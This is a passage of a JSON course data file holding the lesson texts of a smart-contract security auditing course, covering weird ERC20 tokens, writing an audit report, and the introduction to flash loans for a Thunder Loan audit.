"5b32ca72-ccda-4365-a1b5-59ecfa62371e", + "number": 46, + "title": "Reporting: Weird Erc20", + "slug": "writeup-weird-erc20", + "folderName": "46-writeup-weird-erc20", + "description": "", + "duration": 4, + "videoUrl": "h2ZqgrKiyVgW28uUdPiNb9mipWOyHfnnrweMBoau4FY", + "rawMarkdownUrl": "/routes/security/5-tswap/46-writeup-weird-erc20/+page.md", + "markdownContent": "---\ntitle: Write up Weird ERC20 You Try This\n---\n\n\n\n---\n\n# Unveiling the Mystery of Tokens while Penning an Audit Report for TSWAP\n\nCracking the codes and giving insight into the deep trenches of developmental methods, we're all set to discuss and dig into the topic of tokens. For us, ERC20s proved to be peculiar to work with, challenging some of our pre-established perceptions and notions. We're going to rewind a little and talk about the one crucial aspect we didn't happen to discuss in detail, the token matter.\n\n## Unpacked: The Token Hidden Conundrum\n\nAn interesting observation was that we didn't host this test on a TSWAP pool. Let me take you back to our chapter on the TSWAP pool. This episode demonstrated our swap function falling apart, breaking the invariant as an extra transfer was conducted in the process.\n\n> Blockquote: Diving into this will reveal that the fee-on-transfer tokens echo the same effect, transmitting extra tokens. Remember, when the fee-on-transfer tokens come into play, they pose a threat to the protocol invariance, demanding attention.\n\n## Transparency - The Token Assassins\n\nHere's an interesting fact - in the TSWAP audit GitHub repository associated with this course, we unfolded some significant details.\n\n```markdown\nGo to - Audit Data -> README -> Bottom Page\n```\n\nThis process reveals two audits previously conducted for the Uniswap v1. Further venturing into the Uniswap v1 audit report fashioned by Consensus Diligence, we found several issues with websites and liquidity.\n\nThe v1 of Uniswap suffered a condition where the liquidity pool could be hijacked by certain tokens, for instance, ERC777.\n\n> Think of these tokens as smoke and mirrors. If these tokens paved the way for reentrancies on the transfer, the liquidity could be drained, leaving us high and dry. The introduction of these strange ERC20s into the original Uniswap v1 caused series of issues for protocols.\n\n## The TSWAP Paradox\n\nWhat's worth noting is that these confusing ERC20s are a significant issue in DFI. They can be a handful to work with due to their distinct characteristics. It might seem enticing if they were all similar, but alas, that's not the case. This issue tends to pop up often, particularly in competitive audits, as many protocols are oblivious to this aspect.\n\n## Drafting the Audit Report\n\nIn our discoveries, our conclusive medium (not fully penned down) anticipates additional exploration and experimentation from you. Accept the challenge and bask in the experience of creating proof codes and get playful with the process.\n\nSurprisingly, you'll come across these familiar ERC20s repeatedly. It almost feels as though they're playing peekaboo, secretly popping out at the most unexpected times.\n\n## Conclusion\n\nThere's a great deal of satisfaction in unlayering these complexities and jotting down findings. The ordeal of wielding together an audit report surprisingly paves the way to add more to our developmental platter. The report initiates the process of understanding and recognising the challenges and solutions in protocol handling, making the world of tokens and audits a little less complicated and a lot more intriguing.\n", + "updates": [] + }, + { + "lessonId": "fdca1d04-2481-4cbb-8657-27747fa56f3d", + "number": 47, + "title": "Creating Pdf For Your Portfolio", + "slug": "creating-pdf-for-your-portfolio", + "folderName": "47-creating-pdf-for-your-portfolio", + "description": "", + "duration": 4, + "videoUrl": "z2O5AahTaDsqpOBVWwiPJgwJK6Znza5wzsGZbLl1rRU", + "rawMarkdownUrl": "/routes/security/5-tswap/47-creating-pdf-for-your-portfolio/+page.md", + "markdownContent": "---\ntitle: Creating the PDF for your Portfolio\n---\n\n\n\n---\n\n# Building an Audit Report: A Step by Step Tutorial\n\nBecoming proficient in creating an audit report involves mastering certain techniques. Throughout this post, you'll learn how to create an audit report tailored to your unique needs using available resources and Markdown tools.\n\n![](https://cdn.videotap.com/y8C5WoYeGfIBalrcsQSJ-11.25.png)\n\n## Step 1: Importing Files\n\nBefore we venture any further, we must first import the files we need. For instance, we've previously used a logo PDF file in our audit data folder, which you can easily repeat. Scope out your directories for relevant files before you start crafting your report.\n\n## Step 2: Leveraging the Audit Report Template\n\nDon't start creating your report from scratch! Utilize available templates to help guide you in building an informative and detailed review. You can find a well-crafted audit report template on our course page. To get the template, go back to the course, scroll upwards until you come across the template.\n\nSimply copy the content from the raw version of the template and paste it into your new file called 'Report Template MD'.\n\n## Step 3: Tailoring the Report\n\nHaving a template is splendid, but personalizing it to suit your audit changes the game. Let's rename the report template to '2020 311 one' and let's call it 'TSWAP audit MD'.\n\nFeel free to insert the findings of your audit into the document. Let's add findings, a summary of the issues discovered and any recommendations you may have under the sections provided in the template.\n\n> _Remember your findings should be as descriptive and detailed as possible to provide the most value._\n\nTo enhance your portfolio even further, spend some time writing up explanatory notes and if you had collaboration during the audit process, feel free to add their findings as well.\n\n## Step 4: Updating the Details\n\nTaking the time to update information accordingly is definitely vital. You might need to add audit details, scope, and list the issues you encountered. To visualize some parts of your report, say the risk classifications, you can include charts. Simply grab any chart you find illustrative enough and paste it into the report.\n\nFor example, you can provide the severity level of the identified issues found during your audit. We're going to say we found four high-risk issues, two of medium risk, and two of low risk. Informational issues can be many.\n\n## Step 5: Finalizing and Converting the Report\n\nHaving updated the details, now is the perfect time to finalize your report. Set the report title, include your name(s), add protocol summary, risk classification, and audit scope details.\n\nTo convert the markdown file into a professional-looking PDF document, we can use [pandoc](https://pandoc.org/getting-started.html), a very useful document converter.\n\nAnd voila! Your PDF audit report is generated and ready for presentation, filled with detailed findings and code snippets.\n\n![](https://cdn.videotap.com/gTjSzByU5kxK3CrXUbph-174.38.png)\n\n## Step 6: Displaying Your Report\n\nWith the diligent work done, it's time to share your accomplishment to the world. Update your GitHub with the audit report or include a new report in your portfolio. Constantly creating and adding audit reports boosts your portfolio and betters your skills.\n\nA job well done! By completing this tutorial, you've learnt to create a detailed, personalized audit report. Incredibly, through conducting audits, you've also gained substantive knowledge of DeFi protocols.\n\nRemarkably, as we go through smart contracts- like the T-swap contract, a variation of Uniswap, you also gain substantial understanding of decentralized exchanges at the fundamental level.\n\nTaking on real-world tutorials like these not only equip you with practical auditing skills but also provide you with a strong foundation in the fast-growing field of Decentralised Finance (DeFi).\n\n> \"We're not just teaching you how to conduct audits. We're also teaching you DeFi along the way. Very sneaky, aren't we?\"\n", + "updates": [] + }, + { + "lessonId": "64901db8-395b-4ac7-a32c-a884c6189d02", + "number": 48, + "title": "Recap", + "slug": "recap", + "folderName": "48-recap", + "description": "", + "duration": 8, + "videoUrl": "OPWMnJ6eyRrsMexylCRIaU4900uXYDjn6EogptmHQ5Zc", + "rawMarkdownUrl": "/routes/security/5-tswap/48-recap/+page.md", + "markdownContent": "---\ntitle: Recap\n---\n\n\n\n---\n\n# DeFi Security Auditing – A Recap\n\nHey there! If you've been with us from the start of our series on DeFi Security Auditing, congratulations on reaching this point! This is going to be a recap encompassing everything you've learned so far in the course. In case you missed out on something, don’t worry, let's walk through them again.\n\n## Protocol Invariants – Your Secret Weapon\n\nFirst and foremost, we realized that understanding protocol invariants is crucial in locating bugs hidden in our code bases. We don’t even need to explore the code base deeply or conduct a tedious manual review. We found how we can write an invariant or a stateful fuzzing test suite, which pointed out a bug in the swap function – a process without any manual review.\n\nIn essence, the tooling, particularly stateful fuzzing, is a powerful mechanism for bug detection.\n\n## Unfolding the AMM Mystery\n\nWe touched upon the underlying fundamentals of an AMM, or Automated Market Maker, and what a DEX (Decentralised Exchange). Even though the T-Swap audit revolves around a fictitious protocol, its foundation is based on Uniswap and follows exactly the same X times Y equals K principle.\n\nWe learned that the AMM works without an order book. It simply uses token pools, and to extract tokens from one side, tokens need to be added to the other side, maintaining the balance. Everyone is on the lookout for a platform where every swap transaction means money in their purses.\n\n## Understanding the Uniswap Protocol\n\nBoiling down the core mechanisms of the Uniswap protocol, X multiplied by Y equals K is the mathematical model where K is a constant, ensuring the token ratio remains unchanged. Every time you wish to take a token, you need to provide an equivalent amount back.\n\nDealing with a protocol like an AMM where math is the crux of the system, the importance of invariants is highlighted.\n\n## Identifying Client Requirements\n\nEarlier, the absence of illustrative graphs and even the lacking of documentation for some functions made working somewhat daunting. But over time, we've learned that we need to function hand-in-hand with the protocol. They always have the inside story, and understanding their needs is indispensable.\n\nOur comprehensive client onboarding document illustrates this point, particularly the section about T-SWAP having onboarded. We learned that onboarding our protocols and obtaining as much information as possible is of utmost importance.\n\nA case in point would be their low test coverage, an issue we'd definitely want them to address. They churn out multiple ERC20s. And if you don't know by now, ERC20s are pretty wacky. Understanding this helps to architecturally protect the protocol from the peculiarities of these ERC20s.\n\nWe also learned that it's not advisable to work with any and every ERC20. Instead, a restriction list or documentation indicating potentially problematic tokens (like rebasing tokens, fiat transfer tokens, reentrancy tokens) is a good practice. Hence, an extensive onboarding document and deep client interaction can take you a long way.\n\n## Keeping Invariants in Check\n\nOur journey took us through understanding what protocol invariants are – they represent those attributes of the system that must always remain constant. We learned to write fuzzing or stable fuzzing tests to go hand in hand with them.\n\nReferencing the Freepy model where protocol invariant checks are directly embedded into the system, Uniswap stands as a good example of such a system. In stark contrast was the Euler finance attack, where the absence of an invariant check led to their exploit. But people do differ on nomenclature, some prefer to call it CEI and pre and post-checks.\n\n## Diving into DeFi\n\nThe constant product formula X \\* Y = K, oft-used in many DeFi protocols, particularly AMMs, is a powerful tool. For more adventurous explorations into the realm of DeFi, DeFi Llama is a great resource.\n\nHaving said that, we were also introduced to other beneficial tools like stateful and stateless fuzzing, Echidna consensus, and other fuzzers. Although mutation or differential testing didn't make it onto the list, they're definitely on the cards for future lessons.\n\n## Deciphering Solidit\n\nSolidit presented itself enormously useful, allowing us to cross-check if an issue has been previously pointed out by someone else. It helps us to learn about new findings and also verify if we're on the right track.\n\n## Welcome to A World Of Weirdness\n\nNo, we're not stepping into a horror movie. Welcome to the world of ERC20s, where weird is the new normal, and this trend doesn't seem to be fading. But not to worry – Trail of Bits has provided a handy checklist to make sure you're making the right choices. There's also a master list naming all the weird ERC20 tokens – a post-apocalyptic catalog if you'd wish to call it so.\n\n## Concluding Thoughts\n\nIf you’ve accompanied us this far, give yourself a round of applause. It's remarkable progress considering the level of understanding you now hold. You've essentially audited the Uniswap codebase and are now fully equipped to delve into the world of security, undertake competitive audits, bug bounties, or even get hired!\n\nNevertheless, we recommend you complete the course to further enrich your learning. Pat yourself on the back for your achievement, take a well-deserved break, and get ready to tackle some challenges ahead.\n", + "updates": [] + }, + { + "lessonId": "2183b4e7-d6f9-4d3b-ba24-179fa1df2c95", + "number": 49, + "title": "Exercises", + "slug": "exercises", + "folderName": "49-exercises", + "description": "", + "duration": 3, + "videoUrl": "v01JVS2ZF5X00q89OsRxM9dIqqnwn00rLiWtr2wg02S136A", + "rawMarkdownUrl": "/routes/security/5-tswap/49-exercises/+page.md", + "markdownContent": "---\ntitle: Exercises\n---\n\n\n\n---\n\n# Exciting Dive into Smart Contract Fuzz Testing and Learning Techniques\n\n### Exploring Tint's Code Error\n\nThe other day, Tint was kind enough to share a fascinating gist that truly piqued my interest. It contained a small snippet of a code base that had one glaring issue. Of course, it was not just the issue itself that caught my attention, but more so what this issue represented - an exciting opportunity to start honing your smart contract fuzzing skills with Foundry.\n\n![](https://cdn.videotap.com/cVgMHZy43EUCFjsPdVYm-15.24.png)\n\nThe scenario offered by this code base is straightforward. It features a registry contract that permits callers to register by paying a predetermined fee in ETH. If the caller sends too little ETH, the execution reverts. However, if they send too much ETH, the contract obliges by returning the extra funds.\n\nLooking at the unit test reports, everything seems perfect- right? But hold your horses; there's a twist. Your challenge is to write at least one fuzz test via the registering contract. This fuzz test must correspond to the brief specification above and capable of detecting a bug in the register function.\n\nAlways remember to undertake this task before moving ahead. Why? Because it can remarkably hone your fuzz test writing skills.\n\n### Amplify Learning with Social Media\n\nAmidst this coding, let's spice things up with a tad bit of tweeting. Don't be confused, it's a part of the process. Remember, as a security researcher (focus on the 'researcher'), you aim to excel at researching and comprehending issues. Go forth, dive into Solidity and learn something unique.\n\nYou can start with something as straightforward as reentrancy. As a topic we've repeatedly discussed and will continue to, there's a wealth of knowledge to be extracted. Find examples of different reentrancy attacks- perhaps the highs. Choose a crazy reentrancy attack, learn about it, break it down and share your learning on Twitter.\n\n> _\"One of the best ways to learn is something called the TeachBack Method, where if you teach something back to somebody, that is a great way to learn.\"_\n\n### Take a breather\n\nNow seems like an excellent time to grab a cup of coffee and unwind for a bit.\n\nIf you haven't yet signed up for [codehawks](https://codehawks.com), now's the time! We have exceptional first flights lined up that will give you the confidence boost you need.\n\n![](https://cdn.videotap.com/08R5XEP6FtKgKciMJKrm-101.6.png)\n\n### Coming up next...\n\nBrace yourself for Section Six with Centralization Proxies and Oracles featuring the intimidating Thunder loan audit. We will also cover Boss Bridge before moving on to tackling the Vault Guardians Boss codebase.\n\nSo, gear up, recharge your brains with a coffee break, and let's dive into the world of smart contracts!\n\nSee you soon folks.\n", + "updates": [] + } + ] + }, + { + "number": 6, + "sectionId": "e0cddd25-1df1-4c9f-af68-53e33c616bad", + "title": "Thunder Loan", + "slug": "thunder-loan", + "folderName": "6-thunder-loan", + "lessons": [ + { + "lessonId": "9666c162-de47-4243-b6b9-cf754d78d588", + "number": 1, + "title": "Introduction", + "slug": "introduction", + "folderName": "1-introduction", + "description": "", + "duration": 6, + "videoUrl": "zWgkMEoGiBV9K02UTK67D7AOzef9X8dKVwf01H6f5zyog", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/1-introduction/+page.md", + "markdownContent": "---\ntitle: Introduction\n---\n\n\n\n---\n\n# Deep Dive into Security Testing with the Thunder Loan Audit\n\nWelcome back to your favorite security course repository! I trust you've spent some time on that fuzzing exercise because this lesson is going to be a _real deep dive_ into security testing. We've already learned tons of tools and skills, and now it's time to really apply and hone those skills as we dig into _Section Six: Thunder Loan Audit._\n\n## The Context: Thunder Loan Protocol\n\nLet's begin by git-cloning this lesson's code fro Github.\n\n![](https://cdn.videotap.com/iLoskdCcOE28WEUkiXTF-68.76.png)\n\nThis richly detailed protocol we'll be auditing has a fantastic logo - a frog with a thunder bolt on its chest standing over a pile of money. However, beneath this cool exterior, there lies a multitude of bugs waiting to be smoked out. This protocol also gives us a detailed experience of two of the most important DeFi protocols in the world, _Aave and Compound_, as it's majorly based on these.\n\n## DeFi, Borrowing, and Lending\n\nThese protocols are the crux of DeFi borrowing and lending, a fundamental financial concept in the DeFi universe. Whilst auditing the Thunder Loan protocol, we'll naturally delve a bit into understanding Aave and Compound.\n\n## Pricing Information and Oracles\n\nWe had a touch on this in the Puppy Raffle exercise. However, here we delve deep into the significance of sourcing accurate pricing information for assets and how to ace this process effectively as we interact with Oracles.\n\n> \"A lot of people use \\[upgradable contracts\\]. We need to know how to keep them secure.\"\n\n## Upgradable Contracts\n\nFor the first time, we'll be interfacing with an upgradable contract, a common feature in the wild world of Web 3. Now, whether or not these contracts are optimum is up for debate, but their usage is indeed undeniable.\n\n## Multifaceted Proxies\n\nWe are not going to be delving deep into the multifaceted proxy, also known as _the diamond standard_, but we're definitely going to talk a bit about its functionalities and distinctive features.\n\n![](https://cdn.videotap.com/bnzGy4zQOk9RwQjEXVOh-189.08.png)\n\nMoreover, we'll be learning about another brilliant tool called the **Upgrade Hub**. This tool comes in handy for discerning which contracts have been upgraded and which upgrades might be construed as rug pulls. By inserting a contract address, you'll be able to view its complete upgrade history, appearing similarly to git diffs.\n\n> \"Upgrades are highly sensitive in the Web 3 world. This \\[Upgrade Hub\\] is a great place to learn about and work with proxies and view their history.\"\n\n## Centralization and Defi Security Audits\n\nOur previous interactions with the T-SWAP or Uniswap audit only scratched the surface, introducing us to DEXes, invariants, and important DeFi protocols. With Thunder Loan, we’re moving to a new level.\n\nThis protocol’s code base has many common DeFi bugs, which make this one of the most important audits you can learn from. In addition to these security flaws, it introduces the concept of flash loans—a \"monster\" tool with an enormous amount of information to explore.\n\nBy the time you've audited this code base, which consists of multiple folders and contracts and guides you through a more advanced protocol, you'll significantly enhance your understanding of DeFi security audits.\n\n## Price Oracle Manipulations\n\nAccording to the curriculum, price oracle manipulation was the principal attack for the first half of 2023. So as we audit the Thunder Loan protocol, we'll be learning how to tackle this risk head-on.\n\n> \"This course provides an extensive and comprehensive walk-through of the protocol that’s packed with so many common DeFi bugs that you will learn plenty along the way.”\n\nTo wrap it up, the full report and notes on how to generate the audit report are waiting in the Thunder Loan git repo’s `audit-data` branch as usual. Brace yourself and get ready to unearth a treasure trove of bugs and become a better security tester while we audit the Thunder Loan protocol!\n", + "updates": [] + }, + { + "lessonId": "c4bd6e67-622f-4978-81ab-b6a6b8415676", + "number": 2, + "title": "Phase 1: Scoping", + "slug": "phase-1-scoping", + "folderName": "2-phase-1-scoping", + "description": "", + "duration": 4, + "videoUrl": "u91px009roNkxQdo6qtN4GOaDslvZl02CZHLP2KRYNpHs", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/2-phase-1-scoping/+page.md", + "markdownContent": "---\ntitle: Phase 1: Scoping\n---\n\n_Follow along with the video lesson:_\n\n\n\n---\n\n# Scoping out a Codebase: A Comprehensive Guide\n\nCode auditing is a crucial part of every developer's journey. Whether you're managing an open-source project or conducting a security review, understanding a codebase in and out is indispensable. So where do we start?\n\nWell, this guide promises to take you through the nitty-gritty of scoping out a codebase, using a protocol as an example.\n\n## Kicking Things off With the README\n\nThe README documentation serves as a good starting point when familiarizing yourself with a new protocol. While initial impressions might provoke a 'blah, blah, blah, whatever' response, we can extract valuable information about the audit scope details in this document.\n\nIn our case, the README delineates the commit hash details, which you'd typically implement via the `git checkout` command.\n\n```bash\ngit checkout [paste the commit hash here]\n```\n\nFor learning purposes, however, we're going to stick with the main branch.\n\n## Understanding Included Contracts\n\nYour next port of call should be examining the contracts embedded within the codebase. In our scenario, we noticed all contracts resided in the protocol source, particularly in the `interface for protocol`. Interestingly, we also saw an upgraded version of the protocol.\n\nThis raised a question mark—what defines this 'upgraded protocol'? The particulars will unravel as we progress.\n\n## Code Version\n\nPay attention to the Solidity version for the protocol—ours was v0.8.20. Be mindful that the contract should match Ethereum's latest security standards.\n\n## Contracts Handled\n\nWe next located some ERC 20 contracts—namely USDC, die, Link, West. Use your past knowledge to understand how these contracts work. From our last course, we discovered that the USDC supports an upgradable contract and encompasses a block and allow list.\n\n> \"This information is vital as we need to understand how our protocol manages a token, which can transform completely.\"\n\n## Identifying Roles\n\nWe identified different roles within the protocol including an owner, a liquidity provider, and a user. Hoodwinked by terms like \"liquidity provider\"? Don't fret! As you delve deeper into DeFi, you will acquire familiarity with this lexicon.\n\nIn our case, we discovered that a liquidity provider is someone who deposits assets to earn interest, while a user is someone who takes flash loans from the protocol.\n\nThe protocol's owner holds the power to update the implementation—interesting.\n\n### Digging Out Known Issues\n\nWe also found some known issues detailed in the README, warranting a revisit after gaining more context.\n\n## Analyzing Makefile\n\nPotentially useful insights lay in the `Makefile`, where we found Slither configuration along with some other tools. We took a minute to run solidity metrics on this \"bad Larry\", yielding an output that adds value to our understanding.\n\n```bash\nsolidity-metrics [insert codebase here]\n```\n\nIn our audit, the API gave an output of 391 N slock and 327 complexity score, indicating most complexity resided in the `Thunderloan` and `Thunderloan-upgraded`.\n\nWe dropped these metrics into a markdown file as notes to help gauge process duration in future audits.\n\n## The Importance of Context and Reconnaissance\n\nEnding phase one of our audit process, it's clear that understanding an unknown codebase—and by extension, performing a protocol audit—is a matter of patience and practice. Taking your time and being methodical can help you glean valuable contextual information about the codebase.\n\nIn the part two of this guide, we'll conduct some rigorous reconnaissance, promising further insights into the protocol audit process. Stay tuned!\n", + "updates": [] + }, + { + "lessonId": "06bc8d6e-5b70-4b7e-b650-01ee9c4d791a", + "number": 3, + "title": "Reading The Docs", + "slug": "reading-the-docs", + "folderName": "3-reading-the-docs", + "description": "", + "duration": 4, + "videoUrl": "L00fSQwGicEQySCtH3D2IZKKr33RuAddtg1HSkTmUiXE", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/3-reading-the-docs/+page.md", + "markdownContent": "---\ntitle: Phase 2 Recon - Reading the Docs\n---\n\n\n\n---\n\n# Thunder Loans: In-depth Dive into Flash Loan Protocols\n\nWelcome to this comprehensive deep dive into flash loan protocols. In particular, we will be focusing on the Thunder Loan protocol heavily based on Aave and Compound.\n\nIf you're not familiar with Aave, I recommend checking out this explainer video available at [Whiteboard Crypto](https://www.whiteboardcrypto.com/). It's a fantastic resource to learn the ins and outs of borrowing and lending protocols at a high level.\n\nFor this particular blog, we're going to thrust ourselves much deeper to dissect these protocols and thoroughly understand how they make Thunder Loans possible.\n\nLet's kick-off the discussion by outlining what is Thunder Loans.\n\n## Thunder Loan Protocol: A Flash Loan Blueprint\n\nThe Thunder Loan protocol is designed with two main objectives. Firstly, it aims to provide users with the ability to construct flash loans. Secondly, it offers liquidity providers a chance to profit off their capital.\n\n> \"What's a flash loan?\"\n\nIf you posed this question, I urge you to hang on as we will delve into it later in this post. But first, let's get up to speed on some terminology.\n\nA _liquidity provider_, as some of you might be aware, is an individual who pours money into a protocol to yield interest. An inevitable question that follows is, \"where does the interest come from?\" It's a question vital to both an investor and a security researcher's perspective.\n\nTaking t-swap as an example, the interest generated is sourced from the fees levied on swaps. Translating the same logic, in Thunder Loans, the interest is likely derived from the fees attached to these flash loans.\n\nRemember, when you deposit money into Thunder Loans, you're given an asset token, which gradually accrues interest over time depending on the prevalence of flash loans.\n\nAlright, let's dissect what exactly is a flash loan.\n\n## Flash Loans: A Simple Explanation\n\nThe term 'Flash Loan' refers to a loan that spans precisely one transaction. In simpler terms, a user can borrow any sum of assets from a loan protocol as long as they completely pay it back within the same transaction. Failure to adhere to this rule causes the transaction to revert, cancelling the loan automatically.\n\nAdditionally, a tiny fee is imposed to the protocol depending on the borrowed amount. In Thunder Loans, to determine these fees, we utilize the renowned on-chain T-swap price Oracle.\n\n![](https://cdn.videotap.com/NZwarBK1M4rlkUCCFnyN-120.67.png)Thunder loans are currently planning to progress from the existing Thunder Loan contract to an upgraded one. This upgrade forms part of our security review's scope.\n\nTo effectively navigate these waters, we must develop a solid understanding of flash loans and get better acquainted with this lending and borrowing protocol. Hopefully, some graphical diagrams could perhaps simplify our learning process.\n\nTherefore, to understand this innovative DeFi primitive, I implore you to delve more into flash loans. Its knowledge is crucial to dissect the intricacies of Thunder Loans.\n\n## Wrapping Up\n\nIn this modern era of DeFi, understanding flash loans is remarkably essential. This blog is intended to provide a leap pad that gets you from novice to advanced levels of understanding how Thunder Loans operates and what are Flash Loans.\n\nSo, pull out your notes, and let’s dive more in-depth into the world of flash loans. Understanding and leveraging flash loans can potentially change your perspective on lending and borrowing protocols.\n\nThat's all for today. Stay tuned for more insightful blogs on the expansive DeFi universe!\n", + "updates": [] + }, + { + "lessonId": "b80e0aaa-037c-414a-b27c-85c8f0b845da", + "number": 4, + "title": "What is a Flash Loan?", + "slug": "what-is-flash-loan", + "folderName": "4-what-is-flash-loan", + "description": "", + "duration": 4, + "videoUrl": "9B9TNLY54bU002eMXzRXadkcFIp5Y1CL80052CHQY02wi00", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/4-what-is-flash-loan/+page.md", + "markdownContent": "---\ntitle: What is a flash loan? - Arbitrage\n---\n\n\n\n---\n\n# Flash Loans: Leveling the Crypto Playing Field\n\nAs advances in Decentralized Finance (DeFi) shift into high gear, decentralized exchanges (DEX) are positioned at the epicenter of these developments. Previously, trading on these platforms was a privilege reserved for the financial elite - popularly known as 'whales' - who could leverage their massive capital assets to make significant gains. However, the advent of **flash loans** has democratized this field.\n\nSo, how does this groundbreaking innovation operate and help bridge the gap between the haves and the haven'ts in the crypto world?\n\n## Understanding the Concept of Arbitrage\n\nLet's consider a typical scenario. Suppose there are two DEXs, A and B. On Dex A, the exchange rate for Ethereum stands at $5, and on Dex B, Ethereum is trading at $6. Savvy investors might be quick to see an opportunity for profit.\n\nYou could buy one Ethereum at DEX A for $5, then head over to DEX B and sell that Ethereum for $6. This simple transaction would net you a profit of $1. This process is known as **Arbitrage.**\n\n> “Arbitrage is exploiting the market's inefficiencies. By observing the different prices of an asset on various exchanges, you can leverage these differences to turn a profit.”\n\n![](https://cdn.videotap.com/14PlrcuOsiwwbz21cqO4-71.61.png)\n\n## Arbitrage in Action: Difference in Capital\n\nThe catch here is, to initiate this process, you would need to have the $5 necessary to kick-start this operation. But there’s an inherent limitation when you consider a small-scale trader, let’s say with only $5 in their pocket. Despite spotting this golden opportunity, they are limited to a single transaction due to their capital constraint. Their profits are also limited because they can only perform these operations one at a time.\n\nLet's consider a drastically different scenario: a user starts with a capital injection of $5,000 instead of $5. They can now purchase 1000 Ethereum tokens on DEX A and then sell them on DEX B, consequently earning $6,000. Here, the trader notches a profit of $1,000.\n\n> Simply put, the more money you start with, the higher your potential profits.\n\nIn the traditional web 2.0 world, this strategy was dominated by 'whales,' (a colloquial term denoting individuals with substantial capital or numerous tokens) as they could afford to take advantage of such lucrative opportunities.\n\n![](https://cdn.videotap.com/rrfz0m4i5sGKt8xvQTqp-135.26.png)\n\n## Introducing Flash Loans\n\nWhat if there was a mechanism that allowed any trader, regardless of their initial capital, to access substantial loans and instantly pay them back? Enter flash loans, an innovative concept that evens the playing field. In essence, a flash loan allows any user to become a \"whale\" for a single transaction.\n\nThrough flash loans, our earlier protagonist with only $5 can perform the same operations as the deep-pocketed trader with $5,000. This revolutionary concept raises a critical question: How can flash loans level the playing field and make web 3.0 finance more equitable?\n\nTo unravel this complex conundrum, we need a deep understanding of what a flash loan is and how it functions. Stay tuned as we dig deeper into this game-changing financial instrument in our ensuing posts.\n\nIn the next article, we dive into the workings of flash loans, their essence, and how they are leveling the playing field for every player in the crypto universe. Stay tuned!\n", + "updates": [] + }, + { + "lessonId": "5308c413-16b5-42c8-8b55-91ccbe055788", + "number": 5, + "title": "Pay Back Or Revert", + "slug": "pay-back-or-revert", + "folderName": "5-pay-back-or-revert", + "description": "", + "duration": 4, + "videoUrl": "pLXbCpqEbRA01NQhoU5y5W008C6nkngGL2b8EGU35EgZw", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/5-pay-back-or-revert/+page.md", + "markdownContent": "---\ntitle: What is a flash Loan - Pay back the loan or revert\n---\n\n\n\n---\n\n# The Power and Potential of Flash Loans in DeFi\n\nFlash loans provide an innovative financial solution in the decentralized finance (DeFi) world, particularly for arbitrage and various other investment strategies. By examining how they work in the context of smart contracts, we can see how they open up fresh opportunities for DeFi users.\n\n## A Closer Look at DeFi Protocols and Smart Contracts\n\nIn DeFi, many protocols have funds inside a contract. For instance, 1,000 USDC might be stored in a contract, controlled by immutable code. It is this immutable nature that ensures that any funds disbursed by the contract are secured against possible theft.\n\nThe power of DeFi and smart contracts makes them amazing. Particularly because we can encode instructions into them. For instance, a smart contract can be encoded to lend 1,000 USDC to a borrower within a transaction, with the strict condition that the money is returned by the end of the transaction. If the borrower fails to repay the funds, then—in the miraculous world of web three—we can revert the entire transaction! This means that instead of the money disappearing, the transaction is restored to its initial state as though it never occurred. And all this can be encoded into the initial smart contract.\n\n## The Intricacies of Flash Loans in DeFi\n\nNow that we understand the code that governs them, let's look at what this process actually looks like in action.\n\n![](https://cdn.videotap.com/o9RbphgNLng9CnbEUGQa-140.92.png)\n\nImagine that a flash loan contract has been set up. The encoded contract permits a borrower to take a loan of 1,000 USDC, provided it is repaid by the end of the transaction. This all happens within a single transaction.\n\nThis borrowed money is then sent to a contract controlled by the borrower, where the borrower can perform various tasks with the borrowed funds. These might range from arbitrage strategies to simply maintaining the funds in possession for transaction. The contract then has an obligation to repay the loan to the initial lender contract.\n\nAt the end of the transaction, the lender contract conducts a check to ascertain whether the loan has been repaid. If the balance is less than the expected repayment, the entire transaction is reverted, and the blockchain state is restored to the point before the transaction took place.\n\nAnd this, in essence, is how a flash loan works. This facility couldn't exist outside of the web three world. It’s potential uses are almost limitless, making it an exciting financial tool in the realm of DeFi.\n\n## In the Real World of DeFi\n\nTake a moment to consider the implications of this. With strict conditions ensuring the return of funds, flash loans throw open novel opportunities in the decentralized finance space. Time and imagination are the only constraints on how these funds might be utilized within that single transaction.\n\n> The beauty of flash loans lies in their simplicity and security. A borrower can leverage these loans for sophisticated strategies in a secure, risk-free environment, thanks to built-in transaction reversion. Truly, flash loans embody the full potential of DeFi.\n\nFlash loans open up a playground for experimentation and investment strategy, and they are yet another reason DeFi is an exciting field to watch!\n", + "updates": [] + }, + { + "lessonId": "e55d95b1-496b-43ce-9015-bb59b98e1b04", + "number": 6, + "title": "Liquidity Providers", + "slug": "liquidity-providers", + "folderName": "6-liquidity-providers", + "description": "", + "duration": 2, + "videoUrl": "ew8JjN2FI00eh02sqeX5FIlpwQJrJV4rr901W01f2hgF3bg", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/6-liquidity-providers/+page.md", + "markdownContent": "---\ntitle: What is a flash loan - Liquidity Providers\n---\n\n\n\n---\n\n# Deep Dive Into Flash Loans and Liquidity Providers\n\nWelcome to another blog post in our crypto education series, where we explore the intriguing world of decentralized finance (DeFi) concepts. Today, we'll be focusing on the concept of Flash Loans, a highly popular instrument in the DeFi space. More specifically, we'll look at the role of those special behind-the-scene players called Liquidity Providers - their relationship with Flash Loans and how they gain from the system.\n\n## The Concept of Flash Loans\n\nFor the uninitiated, Flash Loans are a DeFi innovation which enables borrowing of an asset without collateral, provided that the loan is repaid within the same transaction block. Now you may ask, how does money magically appear for these loans? And who provides this capital? Let's answer these.\n\n## Understanding Liquidity Providers\n\nJust like in traditional finance, the capital for loans don't just materialize out of thin air. The $1,000 or any amount of the Flash Loan is actually provided by what we call a \"liquidity provider\". In most cases, these are users (or \"whales\") who deposit a significant amount of money into a liquidity pool in a smart contract.\n\nFor instance, assume a user deposited $1,000 into a smart contract. This wouldn't be as simple as a one-sided transaction. Instead, they receive shares of the pool - a sort of 'receipt' denoting their contribution of $1,000 worth of tokens.\n\n## The Flash Loan Process\n\nThe Flash Loan's working can be understood through a simple flow: the user requests the Flash Loan, borrows the money, and immediately pays it back. The USDC quickly cycles between the borrower and the liquidity pool.\n\nIt's important to note that Flash Loans are not free to utilize. Borrowers have to pay a small fee every time they borrow, often something as minuscule as a +0.1% on the borrowed 